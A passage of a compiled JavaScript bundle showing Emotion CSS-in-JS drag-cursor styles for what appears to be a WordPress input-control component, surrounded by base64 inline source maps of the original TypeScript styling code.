ZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24605 };
24606 var dragStyles = ({
24607 isDragging: isDragging2,
24608 dragCursor
24609 }) => {
24610 let defaultArrowStyles;
24611 let activeDragCursorStyles;
24612 if (isDragging2) {
24613 defaultArrowStyles = /* @__PURE__ */ css("cursor:", dragCursor, ";user-select:none;&::-webkit-outer-spin-button,&::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}" + (false ? "" : ";label:defaultArrowStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4TzBCIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG